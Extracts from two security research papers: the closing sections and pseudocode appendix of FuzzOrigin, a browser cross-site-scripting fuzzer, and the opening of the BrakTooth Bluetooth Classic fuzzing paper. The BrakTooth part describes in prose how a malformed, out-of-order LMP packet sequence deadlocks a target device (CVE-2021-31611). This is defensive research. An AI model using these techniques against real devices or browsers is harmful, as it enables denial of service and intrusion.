which generates grammatically correct HTML documents
based on predefined grammar files to test Chrome browser.
Dharma [33] and Avalanche [32] generated inputs based on
the context-free grammars provided by Mozilla. Recently,
Freedom [67] introduced an approach to efficiently generate
HTML by relying on a context-aware intermediate represen-
tation. Freedom [67] stated that the coverage feedback is not
helpful to find more bugs.

Previous works for JavaScript Engine fuzzing [14, 17,
24, 47] have focused on generating semantically correct
JavaScript. Montage [24] and DIE [47] leveraged abstract
syntax trees (ASTs) for mutation. CodeAlchemist [17] pro-
posed semantic-aware assembly, and Fuzzil [14] designed
intermediate representation (IR) to build syntactically and
semantically correct test cases.

Fuzzing for Semantic Vulnerabilities. There were previ-
ous works which fuzzing techniques to find semantic bugs. To
find the semantic bugs, many studies [7, 15, 19, 21, 50, 63, 68]
leveraged differential testing techniques. Nezha [50] pro-
posed an efficient input-format-agnostic differential testing
framework to trigger semantic bugs. TCP-Fuzz [71] used
differential testing to detect memory and semantic bugs in
TCP stacks.

In addition to fuzzing traditional software, several frame-
works that conduct fuzz testing on new targets have been
introduced. Deepxplore [48] is the whitebox framework to
systematically test real-world DL systems. DiFuzzRTL [18]
detects semantic bugs in CPU by comparing the execution
results of ISA and RTL simulation. Along the line of the
previous semantic fuzzing research, FUZZORIGIN introduces
a new type of semantic fuzzing technique, focusing on UXSS
vulnerabilities.

9 Conclusion

Universal cross-site scripting (UXSS) is a critical vulnerabil-
ity in web browsers, allowing attackers to execute a malicious
script on behalf of pages that should not be accessible to at-
tackers. This paper presented FUZZORIGIN, the first UXSS
fuzzing framework. It proposes a new UXSS detector, the
origin sanitizer, as well as a new UXSS-focused HTML gener-
ation method. During the evaluation, FUZZORIGIN identified
four new UXSS vulnerabilities, demonstrating its effective-
ness in finding UXSS issues.
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A HTML Generation

Algorithm 1: JavaScript generation algorithm
1 Function genereteScript()

input :tags (HTML tags), N (number of statement)
output :script (list of statement)

2 script← [];
3 f unctions← /0;

/* Generate N statements */

4 for n = 1 to N do
/* Pick a random value in [0, 1] */

5 r← RAND([0,1])
6 if r ≤ PROBFUNC then

/* Function definition */

7 statement← generateFunction()
8 f unctions← f unctions∪ statement.name
9 else if r ≤ PROBEVENT then

/* Event handler setting */

10 f unction← RAND_PICK( f unctions)
11 event← WEIGHTED_RAND(Eventnav, Eventall)

generateFunction()
12 else if r ≤ PROBBLOCK then

/* JavaScript code block */

13 codeblock← RAND_PICK(codeblocks)
14 statement← generateCodeBlock(codeblock)
15 else

/* General JavaScript operations */

16 api← WEIGHTED_RAND(APInav, APIall)
17 statement← createCode(api, tags)
18 APPEND(script,statement)
19 end
20 end

Algorithm 2: Weighted random algorithm
1 Function WEIGHTED_RAND()

input :set1 (priority set), set2 (entire set)
output : item (selected item)
/* Pick a random value in [0, 1] */

2 r← RAND([0,1])
3 if r ≤ PROBWEIGHT then

/* Weighted rand */

4 item← RAND_PICK(set1)
5 else

/* Normal rand */

6 item← RAND_PICK(set2)
7 end

FUZZORIGIN randomly generates an entire HTML file which includes
1) HTML tags, and 2) JavaScript—We focus only on HTML tags and
JavaScript generation, as the CSS does not affect the origin-related oper-
ations. For the HTML tags, FUZZORIGIN randomly uses all the possible
HTML tags while prioritizing APInav related tags over the others. The HTML
tags initially construct the DOM tree inside the browser, but we mainly focus
on the JavaScript generation since the HTML tags are statically applied and
cannot incur dynamic origin-updates in the browser.

Thus, FUZZORIGIN designs a JavaScript generation algorithm as illus-
trated in Algorithm 1. To be specific, the algorithm (i.e., generateScript)
takes the generated HTML tags and the statement number (i.e., N) as an
inputs, and outputs the script of JavaScript statements. The algorithm itera-
tively generates a statement which randomly belongs to one of the following
four types: 1) function definition, 2) event handler attaching, 3) JavaScript
code blocks, and 4) general JavaScript operations.

For the function definition, FUZZORIGIN defines a function template
and fills the function body by recursively calling generateScriptr with the
small number N (i.e., generateFunction in line 7). Especially, FUZZORIGIN
prioritize APInav and event triggering APIs inside the function so that the
invocation of the function can be chained into further navigation or event
handling. Then, FUZZORIGIN appends the defined function to the corpus
(i.e., line 8, functions), which will be used to attach the event handler.

For attaching the event handler, FUZZORIGIN randomly chooses a func-
tion from the corpus (i.e., functions), and attaches it as a handler of a random
event (e.g., click or load). FUZZORIGIN also prioritizes the navigation-
related events (i.e., Eventnav), thus the completion of a navigation can fre-
quently invoke other functions (Algorithm 2).

Next FUZZORIGIN considers two JavaScript code blocks (i.e., if-else
and try-catch). FUZZORIGIN defines a template and fills the block by
recursively calling generateScript with the small number N (i.e., line 14,
generateCodeBlock)

Finally for the other general JavaScript operations, FUZZORIGIN ran-
domly generates Web APIs and function-call (i.e., line 17, createCode).
The web APIs include DOM object creation (i.e., document.createElement)
and DOM property set, DOM method call, timer function (i.e., setTime-
out), and XMLHttpRequest. FUZZORIGIN covers Document, Element, Event,
EventTarget, Node and Window as a DOM object. FUZZORIGIN does not
generate anything other than aforementioned web APIs and function-call
to focus on origin-related operations.

During the generation, we configure the statement to frequently use APInav
and event triggering APIs (e.g., Click, and Submit), which help fulfilling
FUZZORIGIN’s design philosophy (i.e., frequent navigation and chained
event handling). The element defined from the HTML tags can also be
accessed and updated here.

While all the statements are randomly generated, the probabilities for
selecting navigation-related events and APInav (i.e., WEIGHTED_RAND) can be
configured so that various fuzzer settings can be used.
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Abstract
In this paper we propose, design and evaluate a systematic

directed fuzzing framework to automatically discover imple-
mentation bugs in arbitrary Bluetooth Classic (BT) devices.
The core of our fuzzer is the first over-the-air approach that
takes full control of the BT controller baseband from the host.
This enables us to intercept and modify arbitrary packets,
as well as to inject packets out-of-order in lower layers of
closed-source BT stack, i.e., Link Manager Protocol (LMP)
and Baseband. To systematically guide our fuzzing process,
we propose an extensible and novel rule-based approach to
automatically construct the protocol state machine during nor-
mal over-the-air communication. In particular, by writing a
simple set of rules to identify protocol messages, we can dy-
namically construct an abstracted protocol state machine, fuzz
packets resulting from a state and validate responses from tar-
get devices. As of today, we have fuzzed 13 BT devices from
11 vendors and we have discovered a total of 18 unknown im-
plementation flaws, with 24 common vulnerability exposures
(CVEs) assigned. Furthermore, our discoveries were awarded
with six bug bounties from certain vendors. Finally, to show
the broader applicability of our framework beyond BT, we
have extended our approach to fuzz other wireless protocols,
which additionally revealed 6 unknown bugs in certain Wi-Fi
and BLE Host stacks.

1 Introduction

Bluetooth Classic (BT) is a wireless protocol that has been
in use for more than twenty years. Although BT is gradually
shifting to Bluetooth Low Energy (BLE), several IoT products,
audio devices and smartphones still support BT communica-
tion. Unfortunately, recent vulnerabilities in BT design [2, 3]
and implementation [41] highlight concrete threats that re-
main hidden from vendors in absence of rigorous testing.

In this paper, we propose a general and extensible fuzz
testing framework to test arbitrary BT protocol implemen-
tations in the wild. Figure 1 illustrates the context of our

BT Stack (Controller)
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BT Host Fuzzing BT Firmware 
Fuzzing

Figure 1: Bluetooth Classic protocol fuzzing approaches

BT fuzzer. Broadly, targets for BT stack fuzzing can be cat-
egorized into two: (i) host side of the BT stack that sits on
the host operating system (Target A), and (ii) the BT con-
troller stack that is implemented in the firmware (Target B).
Due to the imposed isolation between the host and the BT
controller (i.e., Target A and Target B), it is challenging
to fuzz the controller BT stack directly from the host. Sev-
eral fuzzing approaches [7, 20, 24], as shown by "BT Host
Fuzzing" are only capable of fuzzing Target A. Emulation-
based fuzzing [41, 58] ("BT Firmware Fuzzing" in Figure 1)
is capable of fuzzing both Target A and Target B, but it
requires reverse engineering the BT firmware and is not easily
portable to any device. Moreover, emulation of a reversed
engineered BT hardware relies on assumptions that may not
correspond to exact features or timing behaviour of the real
hardware [41].

Our proposed approach is shown via "OTA Fuzzing" (OTA
stands for over-the-air) in Figure 1. In short, our BT fuzzer
runs fuzzing campaigns directly on the host and it is capable
to fuzz both Target A and Target B without modifying the
firmware of the target device. Consequently, our BT fuzzer
can be employed out-of-the-box to fuzz any BT controller
stack. To the best of our knowledge, our approach is the first
host-side OTA fuzzer for BT Controller stack (i.e. Target B
in Figure 1). The fuzzing campaigns leverage the lowest data-
link layer, thus bypassing existing firmware debloaters [55]
that only consider the Host Controller Interface (HCI).

A key aspect of our OTA fuzzer is to keep the design gen-
eral and extensible for many stateful protocols. Recent ap-
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proaches on protocol fuzzing [17, 18, 38] suffer from sev-
eral limitations to be generalizable. At one end, generational
fuzzing approaches [17, 18] manually integrate custom state
machines within the fuzzer for packet generation and muta-
tion. At the other end, mutational fuzzers [38] leverage previ-
ously stored packet sequences as seeds for new input gener-
ation and fuzzing. Generational fuzzing approaches [17, 18]
require significant work to support new protocols and is infea-
sible for complex protocols like BT which involve thousands
of state transitions. Additionally, the state machine within
such fuzzer is difficult to maintain upon new protocol features.
In contrast, mutational fuzzers avoid the effort of creating the
state machine, but are incapable to generate dynamic inputs
that rely on data available only during live communication.
For example, in BT, several packet fields in L2CAP contain
data that are dynamically generated and exchanged. A muta-
tional fuzzer relying on static seed inputs may often result in
invalid data input, thus terminating the communication.

We employ a novel dynamic state mapping strategy to
generalize OTA fuzzing. In particular, based on a few rules
constructed only once per protocol, we dynamically map ex-
changed packets to protocol states during live communication.
Then, we systematically refine the mutation probabilities as-
signed to a state for manipulating exchanged packets on-the-
fly and maximize the state machine coverage to guide the
fuzzing process. In such a fashion, we avoid manual hard-
coding of state machines, yet direct the fuzzer to maximize
coverage of protocol features captured by the state machine.
Additionally, it is applicable to closed protocol stacks and is
extensible to other protocols with a one-time effort of con-
structing the mapping rules and the fuzzing interface.

In the context of fuzzing BT stack, we present the first
technique to take full control of the communication in the BT
controller (i.e. Target B in Figure 1) from the host. While
frameworks such as InternalBlue [29] allows packet injection,
it is not able to control all the link manager procedures. To
address this challenge, we develop a novel BT fuzzing inter-
face by reverse engineering the BT stack of ESP32 [15]. This
enables us to intercept and arbitrarily modify any LMP or
Baseband packet exchanged with a target device. We note that
the commodity ESP32 hardware costs below 20 USD, thus
making our proposed fuzzer low cost and easily replicable. In
summary, we make the following contributions in the paper:

1. We present the general design of our OTA fuzzer target-
ing stateful protocol stacks (Section 3). We also present
our generic state mapping technique to dynamically cre-
ate the state machine for fuzzing (Section 4).

2. We present the design of a real-time fuzzing interface by
reverse engineering a commodity BT stack (Section 5).

3. We evaluate our fuzzer on 13 different BT devices (de-
velopment boards, modules and consumer products).
We discover 18 unknown implementation bugs, collec-

tively named BRAKTOOTH (with 24 CVEs assigned)
and six non compliances (Section 6). All bugs have been
reported to the vendors, with several already patched.
Moreover, six of the BRAKTOOTH bugs have received
bug bounty from Intel, Espressif and Xiaomi. An ex-
ploration on Bluetooth listing [46] reveals that BRAK-
TOOTH affects over 1400 product listings.

4. We compare our fuzzer with four state-of-the-art BT
fuzzers: BT Stack Smasher [5], Bluefuzz [7], IoTCube
bfuzz [24] and Toothpicker [20]. We show that our fuzzer
significantly outperforms all the competitors in terms of
finding implementation flaws (Section 6).

5. We show the extensibility of our OTA fuzzer by extend-
ing it to fuzz arbitrary Wi-Fi and BLE Host protocol
stacks. Our evaluation with eight Wi-Fi and BLE Host
stacks reveals 6 unknown implementation flaws, none
of which was discovered in comparable runs by state-of-
the-art fuzzers for Wi-Fi and BLE i.e., Greyhound [17]
and SweynTooth [18], respectively (Section 8).

2 Background and Motivation
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Figure 2: Common OSI Layers of Bluetooth Classic Stack

The BT stack employs several protocol interactions which
are scattered across OSI layers as shown in Figure 2. Notably,
there is an isolation between lower-layer protocols such as
Baseband, LMP; and higher-layer protocols such as L2CAP
and beyond [45]. While higher-layer protocols run on a host
operating system (OS), lower-layer protocols run on a sepa-
rate hardware named controller, which receives HCI packets
from the OS rather than Baseband or LMP packets.

BT main procedures are shown in Figure 3(a). Each pro-
cedure contains one or more message exchanges between
master and slave devices. Furthermore, relevant procedures
are split into inquiry, paging and connection. While inquiry
and paging are only related to BT discovery and connection
establishment between the master and the slave, the connec-
tion state involves exchanging most of layer 2 and 3 mes-
sages. After the master discovers the slave address via in-
quiry scan, the master connects to the slave via paging pro-
cedure and establishes an Asynchronous Connection Less
(ACL) connection as illustrated in Figure 3(a): (I) The master
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Figure 3: BT connection process and a BT stack vulnerability

sends LMP Informational Requests, which includes mutual
exchange of device features, version and name; (II) master re-
quests LMP_host_connection_req to request communication
with slave higher-layers; (III) slave optionally performs role
switch if it needs to become the master. Finally, if the slave
accepts host connection with the master, (IV) LMP Setup
is mutually performed and (V) LMP procedures for pairing,
authentication and encryption start. The slave or master can
reject any request by sending LMP_reject and they may dis-
connect from an active connection by sending LMP_detach.

All the aforementioned procedures are usually expected
to be completed in a certain sequence. Since it is likely
that such expected sequence of procedures had already been
covered by compliance testing, our fuzzer aims to generate
adversely crafted packet sequence. This is challenging due
to the imposed requirements on hardware. For example, a
test engineer may need to freely inject packets at any time
during BT procedures for generating out-of-order packet se-
quences. Concretely, consider the undefined behaviour illus-
trated in Figure 3(b). First, the (malicious) master sends an
out-of-order (duplicated) LMP_setup_complete during LMP
Informational requests procedure to the slave. Next, the mas-
ter waits for a reply from the slave and sends a malformed
LMP_features_req_ext with an invalid Opcode value of 84,
instead of the original opcode 3. This triggers a deadlock on
the slave, requiring the user to manually reboot the slave.

The example depicted in Figure 3(b) requires sending to
the slave a packet from procedure (IV) into procedure (I), fol-
lowed by mutating a packet in procedure (I) (c.f., Figure 3(a)).
This, in turn, surfaces three crucial challenges for designing a
comprehensive and effective fuzzer: (a) To have full freedom
in duplicating and injecting any packet at any point during the
BT connection process, (b) to mutate any field of an arbitrary
packet and send it to a BT target in real-time, (c) to make the
packet manipulation targeted such that the fuzzer steers the
communication towards likely vulnerable scenarios.

3 Design Overview

In this section, we first discuss the key design concepts
employed in our fuzzing framework. We then provide an
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Figure 4: An Illustration of Our Fuzzing Architecture.

overview of different design elements in the framework and
justify our choices.

Design Novelty: We employ two key design concepts to gen-
eralize the fuzzing of stateful communication protocols: 1)
Rule-based state mapping, and 2) dynamic fuzzing. Concep-
tually, the rules are provided by the designer to locate the
type field within an exchanged packet. This is fundamentally
different from writing an extensive set of rules (i.e., gram-
mars) to generate packets for communication. Indeed, by
allowing the target devices to communicate normally, we can
intercept each exchanged packet and extract the type of the
packet via the provided rules. This is then used to construct
the normal flow of packet exchanges in the form of a state
machine where each state is uniquely mapped to a packet type.
During fuzzing, any exchanged packet is mapped on-the-fly
to its respective state in this state machine for computing
state/transitions coverage.

Concurrently, we employ dynamic fuzzing that eliminates
the need to integrate custom packet generation and handling
within the fuzzer. In other words, we simply intercept any ex-
changed packet and manipulate or inject packets as guided by
the fuzzing process. This allows our fuzzing to account for all
contextual information available only during communication,
thus providing flexibility in reaching the deep states in the
protocol implementation for fuzzing. Additionally, it makes
our design lightweight and extensible to other stateful proto-
cols with only a one-time effort per protocol on constructing
the state mapping rules.

In the following, we discuss the key elements in our design
and provide rationale behind our design choices.

Rule-based State Mapping and Fuzzing: Our proposed
fuzzing architecture (see Figure 4) automatically generates
the state machine from a few simple rules (“Mapping Rules"
in Figure 4). In particular, the rules are used to map an ex-
changed packet to a particular state (“State Mapper" in Fig-
ure 4). As an example, by using just eight (8) rules, we con-
struct a BT state machine with a hundred of states and over
thousand transitions. We note that it is practically infeasible
to manually construct such state machines like certain exist-
ing protocol fuzzers [4, 11, 17, 36]. An alternative approach
is to use active automata learning to learn the behavior of
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black-box systems. However, as expected and discussed in a
recent approach [37], such learning requires significant time
due to many queries to target devices. For example, even to
learn a BLE state machine of around ten states, it might take
an hour [37]. In contrast, we develop a lightweight approach
that only requires a one-time effort from the designer to un-
derstand the protocol packet structure and devise the rules.
Once the rules are devised, we can automatically construct the
state machine for any device implementing the protocol and
by mapping the states from a normal communication. We also
show that such a rule-based approach is generic by employing
it to diverse protocols i.e., BT, BLE (Host) and Wi-Fi.
Decoupling Packet Generation from Fuzzing: In our
fuzzing architecture, we facilitate automated fuzzing during
live communication between the target device and an arbitrary
third-party stack (“Protocol Stack" in Figure 4). This is fun-
damentally different from conventional fuzzers that need to
model the entire environment for communication (e.g., packet
generation and handling) [4, 17, 36]. Our design facilitates
fuzzing arbitrarily complex protocol stacks without model-
ing complex protocol characteristics within the fuzzer. While
mutation-based fuzzing approaches [38] also fuzz packet se-
quences without packet generation effort, such approaches
are not effective for complex protocols like Bluetooth Classic.
This is because BT involves dynamic protocols e.g., L2CAP
where certain contextual information (e.g., channel config-
uration) is only available during communication and used
within generated packets. Thus, mutating packet sequences
with static seed inputs (i.e., packet sequences stored from
previous communications) will often terminate the communi-
cation due to the lack of contextual information in the packets.
This results in ineffective fuzzing. Moreover, our decoupled
design allows us to easily account for protocol changes, as
such changes can be introduced to the third-party stack and
thus reflect in the live communication for subsequent fuzzing.

Thus, our OTA fuzzer can be employed out of the box even
if amendments are added to the target protocol. In contrast,
when the packet generation is handled within the fuzzer [4,
17,36], it is highly likely to require modification that accounts
for new protocol features.
Generic and Efficient Packet Decoding: Unlike several pro-
tocol fuzzers [4, 18, 38, 40], the design of our OTA fuzzer
avoids manual construction of packet decoders. Instead, we
leverage on the rich body of packet decoders available in the
community supported Wireshark project [35], which includes
both wired and wireless protocols. Moreover, as Wireshark is
actively maintained, it also includes protocols that are early
in adoption such as 5G-NR [52] and BLE Audio [51]. In our
OTA fuzzer, we directly expose all the decoders of Wireshark
supported protocols to the fuzzing interface (“Fuzzing Inter-
face" in Figure 4), allowing highly efficient packet handling
and mutations. More importantly, our fuzzer eliminates the
need for constructing packet decoders for a significant number
(over 1000) of protocols already supported by Wireshark [53].

Feedback and Monitoring: Our approach involves target
health monitoring (“Monitor" in Figure 4), which faces unique
challenges to detect crashes for certain devices e.g., BT sound
devices (see Section 4). Additionally, our approach aims to
maximize the transition coverage of the reference state ma-
chine constructed via state mapping (“Optimizer" in Figure 4).
To this end, it uses particle swarm optimization (PSO) to re-
fine the probabilities for mutating packet fields and leverages
the number of transition in the state machine as a cost func-
tion for PSO. We employ PSO due to its applicability in
stochastic optimization scenarios in which the cost function
may depict some randomness given the same decision vectors.
This property translates well for our use in wireless fuzzing
as communication over-the-air is imperfect and adds inter-
ferences that cause certain unpredictable behavior or delays
during communication with the target. Such strategy was also
used successfully in previous fuzzing works [17, 28]. How-
ever, to maneuver the cost function value of PSO within our
framework involves additional challenges. This is because the
packet generation is not controlled by our fuzzer. In particular,
to compute the value of the cost function within PSO, we
leverage our state mapper (see Figure 4) to return the state
label of an exchanged packet on-the-fly. This is then used to
update the state transition coverage.

In contrast, when the packet generation is completely con-
trolled within the fuzzer [17], the computation of coverage is
trivially attributed to the control flow hard-coded in the fuzzer
state machine. Nonetheless, such coverage computation heav-
ily depends on the nature of the state machine integrated
within the fuzzer. This, in turn, makes the approach poten-
tially challenging to extend and generalize for OTA fuzzing.

4 Methodology

The fuzzing process: Figure 5 captures some scenarios en-
countered during the fuzzing process. To start, we generate
a reference state machine model Mre f (Figure 5(b)) from a
few simple rules (see Section 4.1 for details). The OTA fuzzer
intercepts all transmitted packets from the protocol stack (see
Figure 4). Subsequently, these packets might be mutated (Fig-
ure 5(c)) or duplicated (Figure 5(d)) while sending them to
the target device. For all the exchanged packets, either from
target device or protocol stack, the state mapper is invoked to
map a packet to a particular state in Mre f (Figures 5(b)-(d)).
This, in turn, is used to monitor the current state of the pro-
tocol and to compute the transitions covered via the fuzzing
process. Additionally, the state mapping is crucial to validate
target response. For example, if the current state is S and the
target response is mapped to state S′, then we validate this
response if and only if S′ is the destination of any outgoing
transitions from S. In the next section, we discuss our state
mapping process in detail.
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is the packet sent from the protocol stack whereas R is the response received from the target wireless device.

Algorithm 1 get_state_label Procedure

1: Input: Packet P, Rules Mu : {〈Φi,F i〉 | i ∈ [1,N]}
2: Output: State label generated for packet P
3: Parse packet P to get layers(P)
4: Let F [L] be the set of packet fields for L ∈ layers(P)
5: for each L ∈ layers(P) do
6: . initialise state layer and type
7: state.layer := state.type := empty; i := 1
8: . continue the mapping for P until a state label is found
9: repeat

10: . check whether the layer matches with the next rule
11: if L satisfies Φi then
12: . record matching layer and field names
13: state.layer := L.name; Fmap := F [L]∩F i

14: for each f ∈ Fmap do
15: v := value of field f in packet P
16: state.type := concat(state.type, lookup[v])
17: end for
18: end if
19: Θ := (state.layer = empty ∨ state.type = empty)
20: i := i+1
21: until ((Θ = f alse)∨ (i > N))
22: . create the state label if a match was found
23: if (state.layer 6= empty ∧ state.type 6= empty) then
24: state.name := state.dir ⊕ state.layer ⊕ state.type
25: return state.name
26: end if
27: end for

4.1 Protocol State Mapping
The state mapper shown (see Figure 4) dynamically generates
the state machine Mre f to capture the protocol between the
devices. This can be performed either in real-time during the
communication (c.f., Figure 5 (b)) or via previously stored
capture files. We note that our state mapper constructs Mre f
by inspecting exchanged packets and mapping each packet
type to a unique state in Mre f . The exchanged packets depend
only on the protocol and not on any device specific states.
Thus, as long as the target device implements the considered
protocol, we can always map an arbitrary packet P, exchanged
from any target device, to a state in Mre f .

Mapping Rules: The core of state mapping is to create a

state label for any packet exchanged during communication.
This is accomplished via a set of rules Mu: a list of N pairs
〈Φi,F i〉 for i ∈ [1,N]. Φi denotes a condition (e.g., name of a
layer) to identify the protocol layer (say L), whereas F i cap-
tures the names of fields that identify the packet type within
L. Figure 6 shows two such rules in Mu: the first rule captures
the protocol layer name (i.e., layer.name) as L2CAP and the
packet type in L2CAP is identified in field F1 ≡ l2cap.code.
Similarly, the second rule captures the protocol layer LMP and
target fields {lmp.eop, lmp.opcode}. We argue that such a
set of rules is easy to construct for well-defined protocols
(we needed only eight rules for BT) and that our mapping ap-
proach avoids manual construction of protocol state machines
for fuzzing. Additionally, the mapping rules are significantly
more lightweight as compared to typical grammar rules used
for generating packets in model-based fuzzers [14]. In partic-
ular, the state machine generated by leveraging the mapping
rules facilitate state monitoring and coverage computation to
guide the fuzzing process. Such a state machine is not used
for generating packets within our fuzzer. For reference, the
mapping rules for BT, Wi-Fi and BLE Host Protocols are
included in the Appendix.

State Mapping Process: The state mapper (Algorithm 1)
creates a state label for any exchanged packet P. Then, a
transition between states s and s′ is created in Mre f when
s and s′ correspond to consecutive packets. The state label
contains the direction of the packet (i.e., TX for transmitted
and RX for received), the name of the layer (e.g., LMP) and
the type of the packet (e.g., Features Req.). To create the
state label, we first dissect the packet P in real-time and obtain
its inherent layers and fields (see Lines 3-4 in Algorithm 1).
Subsequently, we navigate through all layers of packet P (i.e.,
layers(P)) to identify the layer name in the set of rules Mu
(see Lines 5-13 in Algorithm 1). Once the layer is identified,
we extract the values from the relevant fields in the layer to
obtain the type of packet P (see Lines 13-15 Algorithm 1).
Finally, the packet type is also used to generate the state label
(Line 16 in Algorithm 1). We note that lookup dictionaries
map the field value to a name e.g., the value 0x04 for the
field lmp.opcode is mapped to type "Features Res." (see
Figure 6).
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Although Mre f might be incomplete in nature, we argue
that it is sufficient for effective fuzzing. Moreover, our state
mapping architecture allows us to augment or modify the state
mapping rules on-the-fly. This allows identification of new
packet types as the protocol evolves, thus providing flexibility
to the designer for selectively fuzzing protocol layers.

0x0a - Info. Req. 
0x0b - Info. Res. 

0x03 - Features Req. 
0x04 - Features Res. ...

L2CAP Packet
....0x0a0x010x06ACL Hdr.BB

Code

Φ1

F1

Φ2

F2
"layer.name": LMP, 
"field.name":  
        "lmp.eop", 
        "lmp.opcode" 

Mapping Rules Mu
    "layer.name": L2CAP, 
    "field.name":

"l2cap.code"

l2cap.code
lmp.opcode

...

l2cap.code

...

Lookup Dictionaries
Packet Decoding

....0x040x00ACL Hdr.BB
Opcode

lmp.opcode

LMP Packet

Rules 
File

Decoding Tree

TX ⊕ LMP ⊕ Features Res. S1

TX ⊕ L2CAP ⊕ Info. Req. S2

Φ1=true

Φ2=true

layer⊕type⊕dir

State Mapper
Packet Labeling

P1

P2

To / From 
Other States

... ......

Mapped States Mref

Figure 6: An example of the Protocol State Mapper.

4.2 Fuzzing and Optimization
As discussed in Section 3, we expose Wireshark protocol
decoders to the fuzzer. In the following, we discuss how such
is leveraged for packet mutation and duplication (Figure 5).

Mutation: Since a packet structure contains many fields,
choosing what to mutate at which state is critical to diversify
the fuzzing process. Consider an intercepted packet P and
the mapped protocol state for packet P is S. Packet P can be
mutated only if S∈Mre f (protocol state machine). We capture
the mutation probability at state S via Yi(S) in the i-th fuzzing
iteration. Yi(S) contains a layer mutation probability for each
layer in P and a field mutation probability for all the fields in
P. Therefore, |Yi(S)|= NL(P)+1 where NL(P) is the number
of layers in packet P. The initial mutation probabilities at
state S i.e., Y1(S) are randomly assigned. Figure 7 illustrates
how the mutation is applied for two different packets P1 and
P2, which have a number of layers. Firstly, a Decoding Tree is
generated for each packet and fed to the State Mapper, which
outputs states S for P1 and S′ for P2. Then, such states are sep-
arately associated to mutation probabilities Y1(S) and Y1(S′)
respectively. We observe that pr1

l probability is assigned for
mutating the Baseband (BB) layer, whereas the ACL Header
is mutated with probability pr2

l . Then, for each packet type,
all the fields e.g., LT_ADDRESS, Type, receive the same prob-
ability pr f for mutation. Finally, the fuzzer iterates over all
layers and if a layer Li hits its chance pri

l , each field of layer
Li is mutated with a probability pr f .

In subsequent fuzzing iterations, we systematically refine
the mutation probabilities to guide the fuzzing process via
Mre f . To this end, we use an objective function to quantify the

effectiveness of Yi =
⋃

S∈Mre f
Yi(S) in terms of the coverage of

Mre f . Therefore, by maximally covering the number of transi-
tions in Mre f , we aim to maximize the number of anomalies
found. Given this intuition, we use the number of newly cov-
ered transitions in Mre f as the objective function. We note
that computing this coverage information requires repeated
invocation of our state mapping algorithm (Algorithm 1).

We apply particle swarm optimization (PSO) to refine Yi
after each fuzzing iteration. Our choice of PSO is motivated
by its effectiveness in a wireless environment that involves
non-linear and stochastic behaviour [17, 39]. Intuitively, PSO
optimizes the value of our objective function via iteratively
modifying the positions of particles in the swarm. In our
fuzzer, the position of a particle is the chosen probabilities Yi
in a given fuzzing iteration. Furthermore, each particle in a
swarm is associated with a different set of mutation probabili-
ties to apply PSO in our context.

prf
Yi(S) for P1

Mutation Probabilities
Fields Layer 1 Layer 2 Fields Layer 1 Layer 2

prl
1 prl

2

LMPACL Hdr.BB
LMP Packet

P2

L2CAP Packet
L2CAPACL Hdr.BB P1

Mapping 
Rules

prf prl
1 prl

2

Layer 3 Layer 3
prl

3 prl
3

....

Yi(S') for P2

........

Decoding Tree

Layer 1

Field 1 Field N

Layer N

... ... ... ...
LT_ADDRESS, Type, ..., etc Other fields

State
Mapper

Figure 7: An illustration of mutation probabilities distributed
across layers and fields of the dissected packet decoding tree.

Mutation Operators: The mutation operator is applied ac-
cording to the type of the chosen field and it avoids mutating
in valid ranges (normally certification covers it), resulting in
packets ideally being rejected or timed out.

Integer fields are mutated with a random value, but since a
field may not be byte-aligned, its value is overwritten accord-
ing to a bit-mask and its bit-length; Bitfield types are toggled
using XOR operation and byte arrays (i.e., strings) receive a
random byte value at a random position in the array.

Duplication: As shown in Figure 5(d), our fuzzer duplicates
packets to send them at inappropriate times. The duplica-
tion revolves around two parameters: The chance rsel for a
packet P to be duplicated (rsel ∈ [0,1]) and the time t (in mil-
liseconds) for which the packet is kept in a queue Qs before
transmitting P out-of-order. The time t is chosen randomly
between [1,DT ]. Adjusting rsel and DT influences when the
fuzzer sends out-of-order packets to the target. A high value
for DT allows the fuzzer to send out-of-order packets more
scattered across deeper states. In contrast, a higher rsel may
create flooding situations, which might prevent the fuzzer to
reach deeper states. The implication of choosing these param-
eters is discussed in our empirical evaluation (Section 6).
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Target Monitoring: Monitoring a target device over-the-air
is not as direct as compared to monitoring classic program
crashes. Whenever a BT system-on-chip (SoC) crashes, its
internal watchdog timer detects unresponsiveness and hard
resets the SoC. We employ several schemes to listen for mes-
sages indicative of crash & restart, across different types of
BT devices (see "Monitor" in Figure 4).

For BT development boards or modules, the Target Mon-
itor collects startup messages through their exposed Serial
Port via USB cable. Similarly, Android smartphones require
ADB connection to collect crash messages from system logs
via USB. Furthermore, SSH allows collecting error messages
from the kernel ring buffer via Ethernet or Loopback. Finally,
the Microphone can be used to identify whether a BT sound
device plays a startup sound above a user-defined volume
threshold. Considering that such sound is usually played only
when the device is manually powered on, the event of re-
peated startup sounds indicates a crash. Figure 8 outlines the
different external connections and techniques to monitor each
target type. We note that in cases when the watchdog timer
fails to detect SoC hangs, we employ a global timer to detect
reconnection timeout (and hence a possible deadlock).

USB

Ethernet 

Startup Sound
Vol. Threshold Microphone

SSH (dmesg)

Serial Port
ADB (logcat)

Monitors
Dev. Boards 
or Android

Targets

Laptop  
(Linux)

BT Sound 
Device

External Connections
"Startup / Error Message"

"Startup / Error Message"
or Loopback

Figure 8: An illustration of different BT Target Monitors.

4.3 Exploitation via Dissection Hooks
Once the fuzzer gets a vulnerability (crash or deadlock) or
non-compliance, the user can replicate the scenario via our
exploitation framework. This is done using TX/RX dissection
hooks to inject or mutate packets during communication.

For example, test cases for CVE-2021-31611 (see Fig-
ure 3(b)), which would otherwise require reverse engineering
to create, are now created by simply manipulating packets via
our exploitation framework (see Figure 9).

Specifically, Figure 9 highlights intercepting packets
and checking whether they match LMP_features_req or
LMP_features_req_ext by using the Wireshark filters.
Then the packet LMP_setup_complete is injected after
LMP_features_req and LMP_features_req_ext is mu-
tated by modifying the raw packet contents (i.e., pkt_buf).

5 Achieving Real-Time Fuzzing Interface

Due to the lack of open-source Bluetooth Classic controller
implementations, it is challenging to circumvent the HCI bar-
rier such that the layer 2 (see Figure 2) is fully controlled by

Figure 9: CVE-2021-31611 exploit via TX dissection hook.

the host. Moreover, since the Baseband packets are sent in
a time window multiple of 625us [45], handling Baseband
in the host is not straightforward as the OS scheduler cannot
normally operate in such a strict timing constraint.

We have the following options to address this challenge: (1)
Implementing a BT controller from scratch; (2) using existing
frameworks for BT firmware patching [29], or (3) designing
a patched firmware to enable Baseband manipulation from
the host using popular and low-cost IoT SoC. Option (1) is
extremely labour intensive to implement due to the complexity
of Baseband and LMP handling [45, p. 150]. Furthermore,
there is no wireless SoC that openly exposes documentation
